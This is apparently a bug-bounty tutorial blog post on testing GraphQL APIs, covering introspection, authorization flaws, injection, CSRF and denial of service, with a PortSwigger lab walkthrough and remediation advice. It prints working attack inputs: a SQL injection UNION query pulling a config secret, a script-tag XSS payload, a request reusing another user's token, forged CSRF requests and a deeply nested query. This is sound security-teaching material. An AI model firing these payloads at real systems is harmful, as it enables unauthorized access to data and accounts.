GraphQL Bugs: Your Hidden Gold in Web Application
GraphQL is a cool new kid on the API block, promising flexibility and efficiency. But guess what? It's not immune to vulnerabilities, and that's where we come in β bug bounty hunters! π°
Why GraphQL?
Unlike REST APIs with fixed data structures, GraphQL lets you ask for exactly what you need, kind of like a custom order at a restaurant. This flexibility is awesome for developers, but it can also lead to some tasty bugs for us.
The GraphQL Bug Zoo π
1. Introspection: The Blueprint Heist
GraphQL's introspection feature is like getting the API's blueprints. It spills the beans on its schema, revealing queries, mutations, and data types. Attackers can use this to:
β Uncover Hidden Gems: Find fields or mutations that were meant to be kept secret. Imagine stumbling upon a hidden API endpoint that lets you change anyone's password! π€«
β Plan the Perfect Attack: Understand the API's structure to craft precise queries that exploit weaknesses. It's like knowing the layout of a bank before the heist.
Example: Imagine you're testing a social media app. By querying the __schema field, you discover a hidden mutation called adminPromoteUser. Boom! Instant admin privileges? Maybe... π
2. Injections: The Art of Poisoning
GraphQL queries are often built dynamically, which opens the door to injection attacks:
β SQL Injection: Classic, but still dangerous. If user input isn't sanitized, you can inject SQL commands and wreak havoc on the database. π
β Batching Attacks: GraphQL lets you send multiple queries at once. Abusing this can lead to bypassing rate limits or even crashing the server. It's like ordering 1,000 pizzas when you're only allowed 5. π
Example: query { getUser(id: "1 OR 1=1") }
. See that sneaky OR 1=1
? That's a classic SQL injection attempt.
3. Denial of Service (DoS): The Floodgates
β Recursive Queries: Nested queries are GraphQL's forte, but they can be abused to create endless loops that eat up server resources.
β Overfetching: Requesting a ton of data in one go can overwhelm the server, kind of like asking a waiter to bring you every single item on the menu.
Example: query { user(id: 1) { friends { friends { friends { ... } } } } }
. This query could go on forever, potentially crashing the server.
4. Authorization Issues: The VIP Pass
β BOLA (Broken Object Level Authorization): This is when an API doesn't properly check if you're allowed to access a specific object. Imagine walking into a concert and grabbing a front-row seat even though you only paid for the cheap ones.
β Field-Level Issues: Sometimes, APIs expose sensitive fields that you shouldn't have access to. It's like being able to see everyone's credit card numbers in a checkout line. π³
Example: query { getInvoice(id: 123) }
. If there's no proper check, you might get someone else's invoice just by changing the ID.
5. Authentication Issues: The Unlocked Door
This one's simple: if an API's authentication is weak or missing, you're in! It's like finding a house with the front door wide open. π
Your Bug Hunting Toolkit
β GraphQL Playground/Voyager: These are like maps to the GraphQL world. Use them to explore the schema and test queries.
β InQL Scanner: A handy Burp Suite extension for scanning and fuzzing GraphQL endpoints.
β GraphQLmap: A command-line tool for automated GraphQL testing.
Let me know if you want to dive deeper into any of these vulnerabilities or want to explore specific tools and techniques! Happy hunting! πΉ
GraphQL Testing
GraphQL has revolutionized the API industry by providing unprecedented levels of efficiency and flexibility. However, great power also comes with great responsibility, therefore it's imperative to make sure your GraphQL API runs without a hitch. With the help of this in-depth tutorial, you will be able to become an expert in GraphQL testing.
GraphQL: What is it?
An open-source query language called GraphQL specifies how a client should make an information request via an API. GraphQL is, in general, a syntax that programmers can use to request specific data and receive it from a variety of sources. The server returns data with the same structure after the client specifies the required data structure.
GraphQL is a server-ride runtime and query language for APIs that enables clients to submit numerous resource requests using different kinds and variables.
Now let's dissect this one by one.
A language for data querying is called GraphQL. In contrast to most query languages (like SQL), GraphQL is not intended for usage with specific data stores (like MySQL databases). GraphQL is utilized to retrieve data from multiple sources instead.
How does GraphQL differ from REST?
The answer to a more fluid and personalized method for sophisticated API data retrieval turned out to be GraphQL. The abundance of queries and endpoints in classical REST adds to the complexity and duplication of data in API interactions.
This is the difference between REST and GraphQL requests. We'll apply the following use case to social media platform interaction with a post:
REST: Multiple endpoints
GraphQL: Single endpoint
GraphQL's fundamental concept is based on modifications and queries that only return the precise data you require.
This is an illustration of a mutation and query in GraphQL.
QueryMutation
query {
findAllBooks {
id
title
isbn
pageCount
author {
id
firstName
lastName
}
}
}
mutation {
deleteBook(id:3)
}
While mutations indicate that we would like to initiate a change in the system, they are analogous to REST's POST or DELETE methods. Queries that fetch data are equivalent to GET requests in REST.
Typical security test cases for GraphQL
The most common causes of GraphQL API vulnerabilities are implementation and design errors. In the event that the introspection capability is left enabled, an attacker will be able to query the API and list its schema, which could have more serious repercussions.
Universal Query
Since all requests are directed to the same endpoint, identifying the GraphQL endpoint is a must for properly testing for GraphQL vulnerabilities. Any GraphQL endpoint that receives query {__typename}
will return the string {βdataβ: {"__typename": "query"}}
at some point in its response. This type of query, referred to as a universal query, is helpful for determining whether a URL points to a GraphQL service.
Every GraphQL endpoint contains a reserved field named __typename
that returns the type of the object being requested as a string, which is why the query functions.
Typical names for endpoints
The same endpoint suffixes are typically used by GraphQL services. In order to test the GraphQL API, we need verify some common endpoint names when submitting Universal Queries:
β /graphql
β /api
β /api/graphql
β /graphql/api
β /graphql/graphql
We can try appending /v1 to the path if some of these endpoints don't return the expected response when we send a Universal query.
Request techniques
The next step in the process of locating GraphQL endpoints is to experiment with various request techniques.
To mitigate the risk of cross-site request spoofing (CSRF), production GraphQL endpoints should only accept POST requests with the content-type set to "application/json." On the other hand, certain endpoints might support different protocols, including POST or GET requests with the content-type "x-www-form-urlencoded."
Try resending the universal query using different HTTP methods if POST attempts to common endpoints are unsuccessful in locating the GraphQL endpoint.
Finding schema data
We can begin listing the database schema when we have located the GraphQL endpoint and have made a few requests to review the results.
We can then begin submitting introspection inquiries. With the built-in GraphQL function called introspection, you can ask a server for details about the schema.
We can learn more about the database through introspection, which can also occasionally result in the leakage of private data like description fields.We can perform an introspection query on the __schema
field.(If the introspection is available, we will receive a response with all of the questions that are available.)
query={__schema{types{name,fields{name}}}}
Testing alternative API protocols is not all that different from testing GraphQL nodes. Think about taking these actions:
Self-Reflection Questions:
When approaching a test of a GraphQL deployment, you will need to know which data types are available, what queries are supported, and many other factors. GraphQL allows you to ask these questions with introspection queries.
Introspection is described on the GraphQL website as:
Finding out what queries a GraphQL schema allows may frequently be done by asking it. GraphQL's introspection system enables us to accomplish this!
The following are two methods for extracting this data and visualizing the result.
Employing Native Introspection for GraphQL
The simplest method is to use a personal proxy to submit an HTTP request with the payload shown below:
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
The output, which has been condensed here, is typically quite lengthy and includes the whole GraphQL deployment schema.
Response
{
"data": {
"__schema": {
"queryType": {
"name": "Query"
},
"mutationType": {
"name": "Mutation"
},
"subscriptionType": {
"name": "Subscription"
},
"types": [
{
"kind": "ENUM",
"name": "__TypeKind",
"description": "An enum describing what kind of type a given __Type is",
"fields": null,
"inputFields": null,
"interfaces": null,
"enumValues": [
{
"name": "SCALAR",
"description": "Indicates this type is a scalar.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "OBJECT",
"description": "Indicates this type is an object. `fields` and `interfaces` are valid fields.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "INTERFACE",
"description": "Indicates this type is an interface. `fields` and `possibleTypes` are valid fields.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "UNION",
"description": "Indicates this type is a union. `possibleTypes` is a valid field.",
"isDeprecated": false,
"deprecationReason": null
},
],
"possibleTypes": null
}
]
}
}
}
A tool such as GraphQL Voyager can be used to get a better understanding of the GraphQL endpoint:
This tool creates an Entity Relationship Diagram (ERD) representation of the GraphQL schema, allowing you to get a better look into the moving parts of the system youβre testing. Extracting information from the drawing allows you to see you can query the Dog table for example. It also shows which properties a Dog has:
β ID
β name
β veterinary (ID)
There is one downside to using this method: GraphQL Voyager does not display everything that can be done with GraphQL. For example, the mutations available are not listed in the drawing above. A better strategy would be to use both Voyager and one of the methods listed below.
Using GraphiQL
GraphiQL is a web-based IDE for GraphQL. It is part of the GraphQL project, and it is mainly used for debugging or development purposes. The best practice is to not allow users to access it on production deployments. If you are testing a staging environment, you might have access to it and can thus save some time when working with introspection queries (although you can, of course, use introspection in the GraphiQL interface).
GraphiQL has a documentation section, which uses the data from the schema in order to create a document of the GraphQL instance that is being used. This document contains the data types, mutations, and basically every piece of information that can be extracted using introspection.
Authorization
Introspection is the first place to look for authorization problems. As noted, access to introspection should be restricted as it allows for data extraction and data gathering. Once a tester has access to the schema and knowledge of the sensitive information there is to extract, they should then send queries that will not be blocked due to insufficient privileges. GraphQL does not enforce permissions by default, and so it is up to the application to perform authorization enforcement.
Testing the authorization implementation varies from deployment to deployment since each schema will have different sensitive information, and hence, different targets to focus on.
In this vulnerable example, every user (even unauthenticated) can gain access to the auth tokens of every veterinarian listed in the database. These tokens can be used to perform additional actions the schema allows, such as associating or disassociating a dog from any specified veterinarian using mutations, even if there is no matching auth token for the veterinarian in the request.
Here is an example in which the tester uses an extracted token they do not own to perform an action as the veterinarian βBenoitβ:
Request:
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNjAzMjkxMDE2fQ.r3r0hRX_t7YLiZ2c2NronQ0eJp8fSs-sOUpLyK844ew", veterinaryId: 2){
id, name, dogs {
name
}
}
}
And the response:
{
"data": {
"myInfo": {
"id": 2,
"name": "Benoit",
"dogs": [
{
"name": "Babou"
},
{
"name": "Baboune"
},
{
"name": "Babylon"
},
{
"name": "..."
}
]
}
}
}
All of the Dogs in the list belong to Benoit, and not to the auth token owner. Itβs possible to perform this type of action when proper authorization enforcement is not implemented.
Injection
GraphQL is the implementation of the API layer of an application, and as such, it usually forwards the requests to a backend API or the database directly. This allows you to utilize any underlying vulnerability such as SQL injection, command injection, cross-site scripting, etc. Using GraphQL just changes the entry point of the malicious payload.
You can refer to other scenarios within the OWASP testing guide to get some ideas.
GraphQL also has scalars, which are usually used for custom data types that do not have native data types, such as DateTime. These types of data do not have out-of-the-box validation, making them good candidates for testing.
SQL Injection
The example application is vulnerable by design in the query dogs(namePrefix: String, limit: Int = 500): [Dog!] since the parameter namePrefix is concatenated in the SQL query. Concatenating user input is a common malpractice of applications that can expose them to SQL injection.
The following query extracts information from the CONFIG table within the database.
Request:
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
Response:
{
"data": {
"dogs": [
{
"id": 1,
"name": "Abi"
},
{
"id": 2,
"name": "Abime"
},
{
"id": 3,
"name": "..."
},
{
"id": 50,
"name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^"
}
]
}
}
In order to know what to look for in any particular application, it will be helpful to collect information about how the application is built and how the database tables are organized. You can also use tools like sqlmap to look for injection paths and even automate the extraction of data from the database.
Cross-Site Scripting (XSS)
Cross-site scripting occurs when an attacker injects executable code that is subsequently run by the browser.
In this example, errors might reflect the input and could cause XSS to occur.
Payload:
query xss {
myInfo(veterinaryId:"<script>alert('1')</script>" ,accessToken:"<script>alert('1')</script>") {
id
name
}
}
Response:
{
"data": null,
"errors": [
{
"message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value='<script>alert('1')</script>'}' is not a valid 'Int' @ 'myInfo'",
"locations": [
{
"line": 2,
"column": 10,
"sourceName": null
}
],
"description": "argument 'veterinaryId' with value 'StringValue{value='<script>alert('1')</script>'}' is not a valid 'Int'",
"validationErrorType": "WrongType",
"queryPath": [
"myInfo"
],
"errorType": "ValidationError",
"extensions": null,
"path": null
}
]
}
InQL Extension
PortSwigger released GraphQL Labs - https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts - to help assist in learning the InQL extension utilized to work with GraphQL.
The lab description notes that the blog page contains a hidden blog post that has a secret password. To solve the lab, we must locate the hidden post while finding and entering the password.
Ensure you have the InQL extension loaded within Burp. The extension is available through the Bapp Store
Make sure to proxy traffic through Burp Suite Professional, and click βView Postβ on any of the Blog posts included on the home page:
To locate the request to access the blog, navigate to the Burp HTTP history:
Note that to view the blog post, a POST request is sent to the /graphql/v1 endpoint. With this newly discovered information, do the following:
β Send the request to Repeater
β Copy the URL and navigate to the InQL Scanner tab
β Paste the URL within the βURL or Fileβ field InQL Scanner tab and press enter
InQL submitted an introspection request to the endpoint, and you should now have a list of the queries, mutations, and subscriptions. This will come in handy later!
Find the request that was used to access the blog post within the repeater. The request is in JSON format, as you can see. See how the extension streamlines the request and gets rid of formatting by clicking the InQL tab:
Finding the Hidden Blog Post
Notice within the POST request, the βidβ variable is set to five (5). If you navigate back to the Home page, you will see there are only four (4) actual blog posts available to click.
Change the βidβ variable to 4, and send the request. We will continue altering this variable until we locate the blog post that is not included on the Home page.
For this particular lab session, the βidβ variable of three (3) gave the hidden blog post:
Finding the Password
Return to the InQL Scanner tab and the queries that were displayed. The getBlogPost.query was the query used to obtain a blog post. By clicking this, further details and query fields are displayed, one of which is the postPassword field:
Return to the original repeater request for the hidden blog post, and add the postPassword
field using the InQL tab:
Send the request and take note that the answer has disclosed the password:
Remediation
- Limit who can answer self-reflection questions
- Put input validation into practice.β Although there isn't a built-in method for validating input in GraphQL, the open source project "graphql-constraint-directive" enables input validation to be included in the schema specification.
β While input validation on its own can be useful, it is not a comprehensive defense against injection attacks, and other steps should be implemented as well. - Put security measures in place to stop malicious queries.β Timeouts: limit the length of time a query is allowed to execute.
β Maximum query depth: set a restriction on the depth of queries that are acceptable in order to stop resource abuse by queries that are too deep.
β Limit the complexity of queries to prevent GraphQL resources from being abused by setting a maximum query complexity.
β Limit the amount of server time that a user can utilize by implementing server-time-based throttling.
β Employ throttling based on query complexity to restrict the total amount of complexity that a user may handle.
Common Weaknesses in GraphQL and REST APIs
Similar to REST APIs, Graphql is susceptible to vulnerabilities like IDOR, SQLi, and CSRF. Graphql is only a query language; it is not intrinsically secure. Developers must create resolver functions, which carry out the query execution on the backend. These resolvers are prone to human error, which frequently results in problems with privilege escalation and access control.
An Example Situation: An Application for Taking Notes
Imagine a straightforward GraphQL API that allows users to add, edit, remove, and view notes in a note-taking app. To link a note to its creator, it has an id, title, content, and userId.
1. Vulnerable Query - Read Note:
To view a user's note, a typical GraphQL query may be something like this:
query {
noteById(id: "123") {
id
title
content
}
}
The note is retrieved by its id in this query using the noteById
field. However, an attacker can simply change the id parameter and request notes that belong to other users if appropriate authorization and access control checks are not in place.
**2. Vulnerable Mutation - Modify Note: **The following might be the format of a basic GraphQL query to edit a user's note:
mutation {
editNote(id: "123", content: "This book is great!") {
id
title
content
}
}
The editNote
field in this mutation modifies the note's content based on its id. However, an attacker can quickly alter other people's notes by changing the id parameter if appropriate authentication and access control measures are not in place.
SQL/NoSQL injection might occur via improperly sanitized user input since developers may create resolver functions that can run database queries.
It is also feasible for GraphQL APIs that depend on cookies for authentication to be subject to CSRF attacks. Imagine the following situation: A GraphQL API includes a mutation that enables users to modify their profile details:
mutation {
updateProfile(name: "New Name", email: "new@email.com") {
id
name
email
}
}
You can use a standard HTTP form to exploit CSRF if the application uses a GET or POST based form to query the GraphQL endpoint and authentication is accomplished by cookies.
For example: Consider this two request GET & POST
GET /graphql?query=mutation+%7B+updateProfile%28name%3A+%27Attacker%27%2C+email%3A+%27attacker%40email.com%27%29+%7B+id+name+email+%7D+%7D HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
POST /graphql HTTP/1.1
Host: example.com
User-Agent: i am vengeance
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 125
Content-Type: application/x-www-form-urlencoded
query=mutation+%7B+updateProfile%28name%3A+%27Attacker%27%2C+email%3A+%27attacker%40email.com%27%29+%7B+id+name+email+%7D+%7D
By creating a basic HTML form that automatically sends a mutation request to update the user's profile, an attacker can carry out cross-site request forgery, or CSRF.
On the other hand, developers frequently send GraphQL requests to the backend using a JSON body. If the content-type is not properly checked in that scenario, you can take advantage of this by utilizing Javascript to create an XHR/Fetch request. You must rely on CORS misconfiguration if the content-type is correctly validated.
Conclusion
Gaining expertise in GraphQL testing will provide you the tools you need to protect the stability and integrity of your API. By applying the thorough tactics described in this manual, you can:
β Prevent security breaches by promptly identifying and resolving vulnerabilities.
β Make sure your GraphQL API is stable and dependable so that users can have faith and confidence in it.
β Save time and resources by identifying possible problems early in the development process.
Some Useful Tools
β Clairvoyance : https://github.com/nikitastupin/clairvoyance
β GraphQLmap : https://github.com/swisskyrepo/GraphQLmap
β InQL: https://github.com/doyensec/inql
β Altair: https://altairgraphql.dev/
β GraphQL Voyager :https://apis.guru/graphql-voyager/
β Graphql.Security: https://graphql.security/
Happy Hacking
Author: Ayush khatkar is a cybersecurity researcher, technical writer and an enthusiastic pen-tester at Asecurity. Contact here.
#bugbounty #infosec #cybersecurity